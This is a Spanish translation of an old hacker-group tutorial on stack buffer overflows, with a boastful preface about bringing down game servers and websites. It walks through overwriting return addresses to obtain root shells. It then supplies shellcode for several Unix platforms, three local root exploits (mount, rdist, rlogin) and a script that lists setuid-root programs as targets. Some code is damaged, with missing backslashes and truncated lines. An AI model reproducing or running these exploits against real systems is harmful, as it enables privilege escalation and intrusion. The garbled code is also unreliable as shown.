Desbordamiento de pila (buffer overflow)

Hola pues en resumen digamos que en un texbox windows solo acepta numero de una cantidad de 4 digitos y logras colocar 5 digitos que pasa? un desbordamiento de pilas overflow , auque hay muchas maneras de hacerlas para muchas maneras de explicar y para muchos significados... Te da hueva leer todo esto? ... creeme cuando controlas esto puedes tumbar servidores muonline , paginas completas web , y lo que encunetres, recomiendo descargar el SSS ya! øintroducciónø ~~~~~~~~~~~~~~ bienvenido al mundo de los stack overflows («DesBordAmIeNtoS de PilA»), pensé en escribir un artículo explicando la operación completa de esta clase de overflows en pc´s con unix, pero cuando leí el número #49 de la Phrack me di cuenta de que alguien ya había escrito un artículo de esta clase. bueno, si quieres saber más sobre la base técnica (programación en ensamblador/debugging) de los stack overflows en sistemas linux y quieres leer un excelente artículo consigue el nº 49 de la Phrack Magazine, artículo 14 por aleph one, el artículo más completo que jamás había visto, un gran trabajo! (phrack49.zip) pero si no estás interesado en entender cientos de líneas en ensamblador i80836 y deseas tener una guía más práctica, continúa leyendo este artículo para aprender fácilmente como usar los exploits de overflow en varios sistemas unix. øcontenidosø ~~~~~~~~~~~~ [øaø] øla pila - pequeña introducciónø [øbø] øestructura de la pilaø [øcø] øjugando con la dirección de retornoø [ødø] øejecutando una shell en ensambladorø [øeø] øaveriguando la dirección real de la pilaø [øfø] øvariables de entorno/command lineø [øgø] øpalabras finalesø exploit[ø1ø] ømount.c - versión linux: < 2.0.8ø exploit[ø2ø] ørdist.c - todas las versiones bsd: 2.0ø exploit[ø3ø] ørlogin.c - versión solaris: 2.5 & 2.5.1ø apéndice[øAø] øcódigo asm y c para ejecutarø apéndice[øBø] øcomandos nop para diferentes sistemasø apéndice[øCø] øget_sp() para diferentes sistemasø apéndice[øDø] øfindsuid.sh - shellscriptø [øaø] øla pila - pequeña introducciónø ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ la función principal de cualquier CPU es procesar y mover datos. Mientras se procesan o se mueven esos datos la CPU necesita un lugar en el que poder guar-dar rápidamente información importante debido al espacio limitado de los regis-tros. Esta información se guarda en la pila. La pila es una parte especial de la memoria a la que se puede acceder con comandos especiales muy rápidos. La pila es variable en cuanto a tamaño y posición. p.ej. si un registro N está siendo usado y un sub-procedimiento que también necesite dicho registro N es ejecutado la CPU guardará el valor del registro N en la pila y lo restaurará cuando el procedimiento haya finalizado. Para mejorar la velocidad de todo este proceso, la CPU emplea los comandos especia-les de la pila que son más rápidos que los movimientos normales en la memoria. p.ej. si un procedimiento es ejecutado la CPU necesita saber a dónde debe regresar cuando el procedimiento haya acabado, y por ello esta "dirección de retorno" se guarda en la pila antes de llevar a cabo el procedimiento y después de haberlo finalizado, la CPU salta a esa dirección de retorno almacenada en la pila. Existe una segunda función de la pila. Si un programa crea o recibe datos, el nuevo campo de datos se almacenará en la memoria, todos los programas emplean campos de datos dinámicos para almacenar dicha información. La CPU crea dichos campos en la pila si se necesitan y los elimina si ya no se van a necesitar más. p.ej. si un procedimiento tiene que intercambiar el valor de dos variables (a <-> b), necesita una tercera variable c para almacenar un valor: c <- a a <- b b <- c la variable c se instalaría en la pila y se eliminaría una vez que el pro- ceso hubiese terminado. seguro que ahora recuerdas mis palabras en la introducción prometiendo algo como "crear exploits fácilmente sin tener que aprender toda la mierda de detrás". Bueno lo siento pero necesitas conocer algunas cosas antes e intentaré explicarlas de la forma más simple posible. (podía haber explicado todo esto en ensamblador ;] [øbø] øestructura de la pilaø ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ La pila está estructurada de un modo que confunde a veces a la gente (como a mí), el primer valor almacenado será leído el último y el último valor que fue almace-nado se leerá el primero, esto simplemente se llama “last in, first out” («El uLtiMo QuE EnTrA, eL PrimErO qUe sAlE») o LIFO. Ahora analicemos más detenida-mente la pila, imaginemos que acabamos de ejecutar un proceso en un programa (para que no te aburras: luego haremos esto para conseguir privilegios de rOOt). Cuál sería el aspecto de la pila si dicho procedimiento requiere el uso de algunas variables locales (dinámicas) propias? . . : ... . . |-----------------------: -2048 bytes | array local 1[1024] | ... |-----------------------| -1024 bytes | array local2[1024] | tamaño 1024 bytes |-----------------------| posición actual de la pila| puntero base | tamaño 4 bytes |-----------------------| +4 bytes | dirección de retorno | tamaño 4 bytes |-----------------------| +4 bytes : parámetros ... | ... . : . . como puedes ver las diferentes variables mencionadas y la información son almace-nadas en la pila. Todas las CPU´s utilizan un puntero de pila cuya misión es seña-lar la posición actual, se llama SP (de Stack Pointer). Las partes interesantes de la pila son el array local2 y la dirección de retorno, no nos preocuparemos del resto porque lo que queremos es conseguir privilegios de root y ya está. [øcø] øjugando con la dirección de retornoø ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Como podrás recordar, antes de ejecutar un procedimiento la CPU guarda la direc-ción de retorno en la pila, si el procedimiento termina entonces la pila saltará a la dirección de retorno y continuará. Pero si el procedimiento escribe tantos bytes en una variable local que supera su tamaño máximo, se sobreescribirá la dirección de retorno y esto se llama overflow (dEsBordAmiEntO). p.ej. si se escribe el carácter X 1032 veces (1028+4) en el array local2 de la fi-gura de arriba, el procedimiento sobreescribirá su propia dirección de retorno. Y la pila tendrá este aspecto: . . : ... . . |-----------------------: -2048 bytes | array local 1[1024] | ... |-----------------------| -1024 bytes | 1024 veces "X" | tamaño 1024 bytes |-----------------------| posición actual de la pila| 4 veces "X" | tamaño 4 bytes |-----------------------| +4 bytes | 4 veces "X" | tamaño 4 bytes |-----------------------| +4 bytes : parámetros ... | ... . : . . En vez de escribir el carácter “X” en la dirección de retorno podríamos escribir una nueva dirección en la pila, así forzaríamos al programa a saltar al lugar que nosotros queramos! Sería muy inteligente si saltáramos a una dirección donde hemos colocado algo de código en ensamblador que haga algo interesante (adivinas qué?), podríamos crear este código ensamblador en la variable local; en el ejemplo array local2: . . : ... . |-----------------------: -2048 bytes | array local 1[1024] | |-----------------------| -1024 bytes | nuestro código | < - |-----------------------| | posición actual de la pila| 4 bytes de basura | | |-----------------------| | +4 bytes | dirección del código | ___| |-----------------------| +4 bytes : parámetros ... | . : . Si el propietario del programa es r00t y tiene el flag de suid de tal modo que un usuario normal puede ejecutarlo y le dará al usuario privilegios de r00t mientras sea ejecutado, nuestro código podría sernos de ayuda en nuestros propósitos! Pero cómo? [ødø] øejecutando una shell en ensambladorø ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Si nuestro código ejecutase una shell normal y hubiésemos creado el desbordamiento en un programa con el flag suid y cuyo propietario fuese el root entonces tendría-mos una magnífica shell de root a nuestra disposición y finalmente el sistema sería hackeado. Lo que necesitamos justo ahora es un trozo de código ensamblador que ejecute una shell, bueno no es estrictamente necesario que ejecute una shell puedes ejecutar cualquier otro programa. Puedes encontrar el código correspondiente para varios sistemas en el apéndice en ensamblador puro y compilado en c con el nombre “execshell”. Si aún así quieres saber cómo desensamblar dicho código lee el artículo 14 de Phrack Magazine #49 o ponte en contacto conmigo via email. Se ha añadido “/bin/sh” al código en la mayoría de los casos, si quieres ejecutar un programa diferente simplemente modifica el campo correspondiente a tu gusto. Para garantizar que nuestro código funcione lo copiamos en el campo de datos junto con muchos nops que luego serán copiados a la variable local (nop= no operation). Este campo de datos necesita ser mayor que la variable local para poder sobrees-cribir la dirección de retorno. En el siguiente ejemplo lv_size es el tamaño de la variable local que queremos desbordar y buffer es el nombre del campo de datos (que también es local). ej. #define lv_size=1024 char buffer[lv_size+8] Añadimos exactamente 8 bytes, mira más detenidamente la pila de arriba y sabrás por qué. Si queremos sobreescribir la dirección de retorno tenemos que sobrees-cribir 4 bytes el puntero base y 4 bytes la dirección de retorno. El campo de datos buffer debería aparecer así: ... Analiza este código en c para aprender cómo podemos hacer esto, lv_size es una abreviatura de “local variable size”, execshell es el char field con nuestro có-digo ensamblador y el path de la shell que queremos ejecutar. ptr es un puntero que señala hacia el campo que copiaremos sobre la variable local. e.g. la versión fácil: for(i=0;i |-----------------------: ------ -2048 bytes | array local 1[1024] | | offset |-----------------------| | más grande -1024 bytes | <...> | | que | | | 1024 | | ______| | | < - OSP + offset | | | | | | |-----------------------| | posición actual de la pila| 4 bytes de basura | | |-----------------------| | +4 bytes | dirección: OSP+offset | ___| |-----------------------| +4 bytes : parámetros ... | . : . En el ejemplo tenemos una variable local delante de la variable manipulada, por lo tanto tenemos que generar un offset que sea más grande que el tamaño de esta va-riable. Para poder averiguar el valor del SP, usamos una función llamada get_sp(), por supuesto existen diferentes métodos para obtener este valor en los distintos sis-temas unix, he incluido varias versiones en el apéndice . ptr2 es un puntero dword a ptr que señala hacia la dirección de retorno en el buffer. ej. el código correcto: ptr2=(long *)ptr; *ptr2=get_sp()+offset; ej. el código robusto: ptr2=(long *)ptr; for(i=1;i<8;i++) *(ptr2++)=get_sp()+offset; Emplearé el código robusto en mis exploits porque escribe la dirección de retorno 8 veces en la pila, así si la dirección de la pila que habíamos estimado está equivocada, tenemos todavía otros 7 sitios a los que podría saltar. [øfø] øvariables de entorno y de la línea de comandosø ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Seguro que ya estás cansado de toda esta base técnica y todo el rollo, tienes razón, es hora de buscar un objetivo y atacarlo. El programa que se debería ata-car debe tener como propietario al root y tiene que tener configurado el suid. Si quieres encontrar este tipo de programas simplemente utiliza la shell findsuid del apéndice . Si has leído las secciones previas detenidamente ya deberías saber cómo desbordar la pila usando una variable local, pero cómo puedo detectar si un programa es vulnerable a este bug de desbordamiento? Existen dos maneras de pasar variables a un programa, las variables de entorno y las de la línea de comandos ej. variable de la línea de comandos: cat /test.file ^ variable (type: char[256]) Después de cargar el código máquina del programa y ejecutar los primeros procedi-mientos el programa copiará la variable a un buffer, si no existe comprobación de tamaño puedes usar dicha variable para desbordar la pila; para averiguar el tamaño de la variable de la línea de comandos prueba poniendo muchos caracteres en la línea de comandos. (por ej. 1024+4, 256+4, 512+4,...) si el programa te muestra el mensaje “segmentation fault” (“error de segmentación”), puedes usar el programa para obtener root. Por supuesto existen programas con líneas de comando enormes, como por ejemplo 8000 bytes. Si tienes una lista de archivos suid/root en tu sistema, comprueba si son vulnerables en la línea de comandos. La segunda posibi-lidad es pasar la variable empleando una variable de entorno. ej. variable de entorno: set TERM=1234 el programa copiará la variable TERM a un buffer, pero el tamaño de este buffer puede variar, por tanto para desbordarlo tendras que probar con diferentes tamaños como 256, 512, 1024, 2048, etc. Encontrar programas que utilicen variables de entorno no es fácil, por supuesto sabrás que algunos programas necesitan leer información del sistema desde variables de entorno; la mejor manera de averiguarlo es mirar directamente en los archivos de código fuente en c. En cualquier caso continúa buscando nuevos programas vulnerables, porque siempre es mejor usar exploits que no sean muy conocidos entre la gran muchedumbre de lamers abusadores de exploits. [øgø] øpalabras finalesø ~~~~~~~~~~~~~~~~~~~~~~~~ después de leer toda esta mierda deberías ser capaz de generar overflow exploits tu solito, como demostración he incluído tres exploits de ejemplo (que funcionan). He modificado el código original y les he puesto los mismos nombres de variables que en los ejemplos anteriores para que puedas entenderlo fácilmente. exploits: exploit[1] mount.c - versión linux: < 2.0.8 exploit[2] rdist.c - todas las versiones de bsd: 2.0 exploit[3] rlogin.c - versión solaris: 2.5 & 2.5.1 si tienes una sensación extraña en el estómago y si quieres quejarte sobre este artículo, flamearme, si quieres obtener más información, si quieres intercambiar cosas o simplemente enviar un mail inservible, mándame un email... PLASMOID@USA.NET y pronto en el servidor de THC PLASMOID@INSECURITY.ORG Si no tienes conexión a internet ponte en contacto conmigo en LORE BBS por van hauser/thc. También puedes encontrarme via IRC, normalmente estoy en el canal #bluebox si mi cuenta no está k-lined - plasmoid/thc/deep The Hacker's Choice Drinking Evil Elite Phreakers plasmoid deep/thc -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQCNAzJZDKwAAAEEANBXUFXqCzZLKuPj7OwB5O7thWOHlzzsi6SEZfsbiysPU4TL AMsBuCV4257Rr0//aEMt4CWjAkO3YWcBzBMvGQIDhT06v9SB4LZep6wJlSIsFK3v L1x+iYzSlvoXOHYSBcjoXA3sDm+kzz49to77Z20bJru7upjHD8iQeMWdAg+hAAUR tBtwbGFzbW9pZCA8cGxhc21vaWRAdXNhLm5ldD6JAJUDBRAyWQysyJB4xZ0CD6EB AQ6GBACB1n9DkgHfnC7D245MZPpacEHI8Jwj0DV6inV19E9qWf4VDdXA8+9YLuUV hsV1/WRX3sJWGWmAQASPitl2tc+7vWw6VC4gjif1XsRttIuNwmvU+DPY7ZULueFe bKoLI2zXsnWm/+8PMjc6GSYsNrXSpUjqkH6nIt6+sytm2QyWBw== =Vbcq -----END PGP PUBLIC KEY BLOCK----- øexploitø[ø1ø] ~~~~~~~~~~ /* ------------------------------------------------------------------------- mount.c - mount exploit for linux - version: < 2.0.10 discovered by bloodmask&vio/couin coded by plasmoid/thc/deep for thc-magazine issue #3 12/12/96 - works also on umount ------------------------------------------------------------------------- */ #include #define lv_size 1024 #define offset 30+lv_size+8*4 // ------------------------------------------------------------------------- long get_sp() { __asm__("movl %esp, %eax"; } // ------------------------------------------------------------------------- main(int argc, char **argv) { char execshell[] = "xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07x89x56x0f" "xb8x1bx56x34x12x35x10x56x34x12x8dx4ex0bx8bxd1xcd" "x80x33xc0x40xcdx80xe8xd7xffxffxff/bin/sh"; char buffer[lv_size+4*8]; unsigned long *ptr2 = NULL; char *ptr = NULL; int i; for(i=0;i #define lv_size 256 #define offset 30+lv_size+8*4 // ------------------------------------------------------------------------- long get_sp() { __asm__("movl %esp, %eax"; } // ------------------------------------------------------------------------- main(int argc, char **argv) { char execshell[]= "xebx23x5ex8dx1ex89x5ex0bx31xd2x89x56x07x89x56x0f" "x89x56x14x88x56x19x31xc0xb0x3bx8dx4ex0bx89xcax52" "x51x53x50xebx18xe8xd8xffxffxff/bin/shx01x01x01x01" "x02x02x02x02x03x03x03x03x9ax04x04x04x04x07x04"; char buffer[lv_size+4*8]; unsigned long *ptr2 = NULL; char *ptr = NULL; int i; for(i=0;i #include #include #include #define BUF_LENGTH 8200 #define EXTRA 100 #define STACK_OFFSET 4000 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "x82x10x20xcaxa6x1cxc0x13x90x0cxc0x13x92x0cxc0x13" "xa6x04xe0x01x91xd4xffxffx2dx0bxd8x9axacx15xa1x6e" "x2fx0bxdcxdax90x0bx80x0ex92x03xa0x08x94x1ax80x0a" "x9cx03xa0x10xecx3bxbfxf0xdcx23xbfxf8xc0x23xbfxfc" "x82x10x20x3bx91xd4xffxff"; u_long get_sp(void) { __asm__("mov %sp,%i0 n"; } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode); long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = targ_addr; printf("Jumping to address 0x%lxn", targ_addr); execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0); perror("execl failed"; } øapéndiceø[øAø] ~~~~~~~~~~~~~~~ ------------------------------------------------------------------------------- linux/i80386+ ------------------------------------------------------------------------------- código ensamblador: ~~~~~~~~~~~~~~ jmp end_of_code execve: popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 end_of_code: call exec_prog .string "/bin/sh" cadena para c: ~~~~~~~~~~~~~~~~~~ char execshell[] = "xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07x89x56x0f" "xb8x1bx56x34x12x35x10x56x34x12x8dx4ex0bx8bxd1xcd" "x80x33xc0x40xcdx80xe8xd7xffxffxff/bin/sh"; ------------------------------------------------------------------------------- bsd/os/i80386+ and freebsd/i80386+ ------------------------------------------------------------------------------- ensamblador: ~~~~~~~~~~~~~~~ jmp end_of_code execve: popl %esi leal (%esi), %ebx movl %ebx, 0x0b(%esi) xorl %edx, %edx movl %edx, 7(%esi) movl %edx, 0x0f(%esi) movl %edx, 0x14(%esi) movb %edx, 0x19(%esi) xorl %eax, %eax movb $59, %al leal 0x0b(%esi), %ecx movl %ecx, %edx pushl %edx pushl %ecx pushl %ebx pushl %eax jmp bewm end_of_code: call execve .string '/bin/sh' .byte 1, 1, 1, 1 .byte 2, 2, 2, 2 .byte 3, 3, 3, 3 bewm: .byte 0x9a, 4, 4, 4, 4, 7, 4 cadena para c: ~~~~~~~~~~~~~~~~~~ char execshell[]= "xebx23x5ex8dx1ex89x5ex0bx31xd2x89x56x07x89x56x0f" "x89x56x14x88x56x19x31xc0xb0x3bx8dx4ex0bx89xcax52" "x51x53x50xebx18xe8xd8xffxffxff/bin/shx01x01x01x01" "x02x02x02x02x03x03x03x03x9ax04x04x04x04x07x04"; ------------------------------------------------------------------------------ solaris/sparc ------------------------------------------------------------------------------ ensamblador: ~~~~~~~~~~~~~~~ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 cadena para c: ~~~~~~~~~~~~~~~~~~ char execshell[59]= 0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90, 0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03, 0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf, 0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x08,0x90,0x1b,0xc0,0x0f, 0x82,0x10,0x20,0x01,0x91,0xd0,0x20,0x08"; versión opcional: char execshell[54]= 0x9fc0202c,0xc0247ff5,0xe227bff0,0xc027bff4,0x9207bff0,0x901d200a, 0x901a200a,0x8210203b,0x91d02008,0x82102001,0x91d02008,0xa3c3e004, "/bin/sh"; ------------------------------------------------------------------------------ sunos/sparc ------------------------------------------------------------------------------ ensamblador: ~~~~~~~~~~~~~~~ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 cadena para c: ~~~~~~~~~~~~~~~~~~ char execshell[63]= 0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90, 0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03, 0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf, 0xfc,0x82,0x10,0x20,0x3b,0xaa,0x10,0x3f,0xff,0x91,0xd5,0x60,0x01, 0x90,0x1b,0xc0,0x0f,0x82,0x10,0x20,0x01,0x91,0xd5,0x60,0x01"; ------------------------------------------------------------------------------ hp-ux9/hp9000 ------------------------------------------------------------------------------ cadena para c: ~~~~~~~~~~~~~~~~~~ char execshell[]= "x34x59x01x02x34x5ax01x32x37x5ax3exf9x6bx3ax3fx01" "x63x40x3fxffx34x5ax01x38x63x40x3fx35x37x5ax3exf9" "x6bx3ax3fx09x63x40x3fxffx0bx5ax02x9ax6bx3ax3fx11" "x34x5ax01x22x37x5ax3exf9x6fx3ax3exf9x20x20x08x01" "x34x16x01x1exe4x20xe0x08x36xd6x3exf9x0bx5ax02x9a" "x20x20x08x01x34x16x01x0axe4x20xe0x08x36xd6x3exf9" "xe8x5fx1fx35x0bx5ax02x9ax01x01x01x01x01x01x01x01" "x01x01x01x01x01x01x01x01x00/bin/sh"; øapéndiceø[øBø] ~~~~~~~~~~~ ------------------------------------------------------------------------------- no operation - nop - para diferentes sistemas ------------------------------------------------------------------------------- linux/i80386+ - char nop[1]=0x90; bsd/os/i80386+ and freebsd/i80386+ - char nop[1]=0x90; procesador solaris/sparc - char nop[4]=0xac15a16e; procesador sunos/sparc - char nop[4]=0xac15a16e; hp-ux9/hp9000 - char nop[4]=0xac15a16e; øapéndiceø[øCø] ~~~~~~~~~~~ ------------------------------------------------------------------------------- linux/i80386+ y bsd/os/i80386+ y freebsd/i80386+ ------------------------------------------------------------------------------- averiguando el puntero de la pila: ~~~~~~~~~~~~~~~~~~~~~~~~~ long get_sp() { __asm__("movl %esp,%eax"; } ------------------------------------------------------------------------------- procesador solaris/sparc y procesador sunos/sparc ------------------------------------------------------------------------------- averiguando el puntero de la pila: ~~~~~~~~~~~~~~~~~~~~~~~~~ long get_sp() { asm("or %sp, %sp, %i0"; } øapéndiceø[øDø] ~~~~~~~~~~ --------------------------------------------------------------------[cut here]- #!/bin/sh # findsuid.sh by plasmoid/thc/deep # important directories for linux system, try different ones # for other systems (/usr/etc, /usr/local/bin, /usr/local/etc, /usr/sbin) find /bin -user root -perm +a=s > suid.lst find /sbin -user root -perm +a=s >> suid.lst find /usr/bin -user root -perm +a=s >> suid.lst find /etc -user root -perm +a=s >> suid.lst find /var -user root -perm +a=s >> suid.lst --------------------------------------------------------------------[cut here]- TRADUCIDO POR IPgh0st UNDERHACK http://underhack.islatortuga.com